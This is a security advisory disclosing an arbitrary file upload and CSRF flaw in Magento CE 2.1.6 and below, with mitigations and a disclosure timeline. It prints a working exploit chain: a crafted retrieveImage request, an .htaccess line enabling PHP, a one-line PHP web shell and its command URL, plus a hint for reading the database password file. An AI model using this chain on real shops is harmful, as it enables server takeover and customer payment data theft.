DefenseCode

Magento Arbitrary File Upload Vulnerability (Remote Code Execution, CSRF)

Magento Arbitrary File Upload Vulnerability (Remote Code Execution, CSRF)	
Advisory ID:	**DC-2017-04-003**
Software:	**Magento CE**
Software Language:	**PHP**
Version:	**2.1.6 and below**
Vendor Status:	**Vendor contacted / Not fixed**
Release Date:	**20170413**
Risk:	**High**

1. General Overview

During the security audit of Magento Community Edition high risk vulnerability was discovered that could lead to remote code execution and thus the complete system compromise including the database containing sensitive customer information such as stored credit card numbers and other payment information. The main attack vector uses an additional Cross Site Request Forgery vulnerability.

2. Software Overview

Magento is an ecommerce platform built on open source technology which provides online merchants with a flexible shopping cart system, as well as control over the look, content and functionality of their online store. Magento offers powerful marketing, search engine optimization, and catalog-management tools. It is a leading enterprise-class eCommerce platform, empowering over 200,000 online retailers.

Homepage:
http://www.magento.com

3. Vulnerability Description

When adding Vimeo video content to a new or existing product the application will automatically retrieve a preview image for the video via POST request taking a remote image URL parameter. The request method can be changed to GET (**see 3.1. Attack Vectors – Cross Site Request Forgery**), so the request can be sent as following:

```
http://192.168.1.10/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/?
remote_image=https://i.vimeocdn.com/video/438193448_640.jpg
```

If an URL points to an invalid image (a PHP file for example), the application will respond with:

```
{"error":"Disallowed file type.","errorcode":0}
```

However, the file will be downloaded regardless, as the application saves the file to validate the image but will not remove it if the validation fails. The file will be saved to the following location:

```
/pub/media/tmp/catalog/product/<X>/<Y>/<original filename>
```

where X and Y are the first two characters of the file name (e.g. if the file name is *picture.jpg* the path would be */p/i/picture.jpg*). This behavior allows for a Remote Code Execution using a PHP script, as well as Stored Cross Site Scripting and/or malware hosting.

To achieve a Remote Code Execution, two files should be downloaded. One is an *.htaccess* file that will enable PHP execution in the download directory, the other is a PHP script to be executed. As these files need to be saved in the same directory, the PHP script file name should start with ".h" (but not ".ht"!), so it would be placed in */pub/media/tmp/catalog/product/_/h/* (dot '.' is replaced by an underscore '_'). Depending on the server configuration, *.htaccess* settings can be as simple as:

```
php_flag engine 1
```

While PHP script proof of concept could be:

```
<?php echo shell_exec($_GET['cmd']); ?>
```

And accessed as:

```
http://192.168.1.10/magento2/pub/media/tmp/catalog/product/_/h/.hshell.php?cmd=whoami
```

Magento source code analysis also confirms the vulnerability. Shown below are the vulnerable functions in *RetrieveImage.php:*

\vendor\magento\module-product-video\Controller\Adminhtml\Product\Gallery\RetrieveImage.php

```
   public function execute()
    {
        $baseTmpMediaPath = $this->mediaConfig->getBaseTmpMediaPath();
        try {
            $remoteFileUrl = $this->getRequest()->getParam('remote image');
            $originalFileName = basename($remoteFileUrl);
            $localFileName = Uploader::getCorrectFileName($originalFileName);
            $localTmpFileName = Uploader::getDispretionPath($localFileName) .
DIRECTORY SEPARATOR . $localFileName;
            $localFileMediaPath = $baseTmpMediaPath . ($localTmpFileName);
            $localUniqueFileMediaPath = $this->appendNewFileName($localFileMediaPath);
            $this->retrieveRemoteImage($remoteFileUrl, $localUniqueFileMediaPath);
            $localFileFullPath = $this-
>appendAbsoluteFileSystemPath($localUniqueFileMediaPath);
            $this->imageAdapter->validateUploadFile($localFileFullPath);
            $result = $this->appendResultSaveRemoteImage($localUniqueFileMediaPath);
. . . .
```

\vendor\magento\module-product-video\Controller\Adminhtml\Product\Gallery\RetrieveImage.php

```
    protected function retrieveRemoteImage($fileUrl, $localFilePath)
    {
        $this->curl->setConfig(['header' => false]);
        $this->curl->write('GET', $fileUrl);
        $image = $this->curl->read();
        if (empty($image)) {
            throw new \Magento\Framework\Exception\LocalizedException(
                  ('Could not get preview image information. Please check your connection
and try again.')
            );
        }
        $this->fileUtility->saveFile($localFilePath, $image);
    }
```

3.1 Attack Vectors

Cross-Site Request Forgery

By changing the request method from POST to GET, a lack of a form_key parameter which serves as a CSRF token will be ignored and thus enable cross-site request forgery (CSRF) attacks. The attack can be constructed as simple as <img src=... in an email or a public message board, which will automatically trigger the arbitrary file upload if a user is currently logged into Magento. An attacker can also entice the user to open a CSRF link using social engineering.

CSRF attack vector can be mitigated by the default-enabled option Add Secret Key to URLs.

Low Privileged Users

Full administrative access is not required to exploit this vulnerability as any Magento administrative panel user regardless of assigned roles and permissions can access the remote image retrieval functionality. Therefore, gaining a low privileged access can enable the attacker to compromise the whole system or at very least, the database (e.g. traversing to /app/etc/env.php to grab the database password).

4. Solution

Vendor has not resolved the reported security issues in the latest release. All users are strongly advised to enforce the use of "Add Secret Key to URLs" which mitigates the CSRF attack vector. To prevent remote code execution through arbitrary file upload the server should be configured to disallow .htaccess files in affected directories.

5. Credits

Discovered by Bosko Stankovic (bosko@defensecode.com).

6. Disclosure Timeline

11/18/2016	**Vendor contacted via BugCrowd platform**
11/18/2016	**Vendor responded – aware of issue**
04/11/2017	**Vendor contacted again without response**
04/13/2017	**Advisory released to the public**

7. About DefenseCode

DefenseCode L.L.C. delivers products and services designed to analyze and test web, desktop and mobile applications for security vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security Testing, WhiteBox Testing) solution for performing extensive security audits of application source code. ThunderScan performs fast and accurate analyses of large and complex source code projects delivering precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security Testing, BlackBox Testing) solution for comprehensive security audits of active web applications. WebScanner will test a

website's security by carrying out a large number of attacks using the most advanced techniques, just as a real attacker would.

Subscribe for free software trial on our website http://www.defensecode.com

E-mail: defensecode[at]defensecode.com

Website: http://www.defensecode.com
Twitter: https://twitter.com/DefenseCode/